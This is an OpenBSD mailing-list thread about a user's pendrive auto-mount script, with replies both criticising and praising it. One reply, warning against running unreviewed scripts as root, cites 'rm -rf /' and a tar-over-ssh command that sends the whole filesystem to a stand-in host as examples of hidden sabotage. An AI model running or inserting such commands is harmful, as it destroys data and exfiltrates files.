Re: Pendrive detecting and mount script
smonek wrote: Hello this is my script to auto mount pendrives / usbdrivs Script work ony with MSDOS fs Script detecting all partitions betewn a: and l: on sd0 ,sd1 ,sd2 ,sd3 Nice effort! But... First time you must run this script as a root or manula created /umass catalog and chmod 766 /umass I'd rather not run this as root, ever. www.0penbsd.pl/webs/download/mount_umass www.0penbsd.pl/webs/download/umount_umass While this may be a useful tool, it is possibly the worst case of copy-and-paste I've ever seen. (I seriously hope you auto-generated the mount_umass script). I wouldn't use such a script since I cannot be sure that a _possibly_ malicious author had not inserted some 'rm -rf /', 'tar -czf - / | ssh bad.are.us "cat - > thankyou.tgz"' or so. I suggest you have a look at: man sh /for name and for this specific purpose: man hotplugd Sincerely, Alexander
Re: Re: Pendrive detecting and mount script
I now this is large script but When I will by have more time I rewrite this script and add mount ffs pendrive an support when Is other SCSI disk ( example on the servers ) sorry fo my english :) > This is madness ! :) the mount_umass rocks, it's worth reading it. > > smonek wrote: > > Hello this is my script to auto mount pendrives / usbdrivs > > Script work ony with MSDOS fs > > Script detecting all partitions betewn a: and l: on sd0 ,sd1 ,sd2 ,sd3 > > > > > > First time you must run this script as a root or manula created /umass catalog > > and chmod 766 /umass > > > > www.0penbsd.pl/webs/download/mount_umass > > www.0penbsd.pl/webs/download/umount_umass > > > > > > Szymon Nowak > > www.0penbsd.pl > > www.0penbsd.pl/forum
Re: Re: Pendrive detecting and mount script
thanks :) > This is madness ! :) the mount_umass rocks, it's worth reading it. > > smonek wrote: > > Hello this is my script to auto mount pendrives / usbdrivs > > Script work ony with MSDOS fs > > Script detecting all partitions betewn a: and l: on sd0 ,sd1 ,sd2 ,sd3 > > > > > > First time you must run this script as a root or manula created /umass catalog > > and chmod 766 /umass > > > > www.0penbsd.pl/webs/download/mount_umass > > www.0penbsd.pl/webs/download/umount_umass > > > > > > Szymon Nowak > > www.0penbsd.pl > > www.0penbsd.pl/forum
Re: Pendrive detecting and mount script
This is madness ! :) the mount_umass rocks, it's worth reading it. smonek wrote: Hello this is my script to auto mount pendrives / usbdrivs Script work ony with MSDOS fs Script detecting all partitions betewn a: and l: on sd0 ,sd1 ,sd2 ,sd3 First time you must run this script as a root or manula created /umass catalog and chmod 766 /umass www.0penbsd.pl/webs/download/mount_umass www.0penbsd.pl/webs/download/umount_umass Szymon Nowak www.0penbsd.pl www.0penbsd.pl/forum
Pendrive detecting and mount script
Hello this is my script to auto mount pendrives / usbdrivs Script work ony with MSDOS fs Script detecting all partitions betewn a: and l: on sd0 ,sd1 ,sd2 ,sd3 First time you must run this script as a root or manula created /umass catalog and chmod 766 /umass www.0penbsd.pl/webs/download/mount_umass www.0penbsd.pl/webs/download/umount_umass Szymon Nowak www.0penbsd.pl www.0penbsd.pl/forum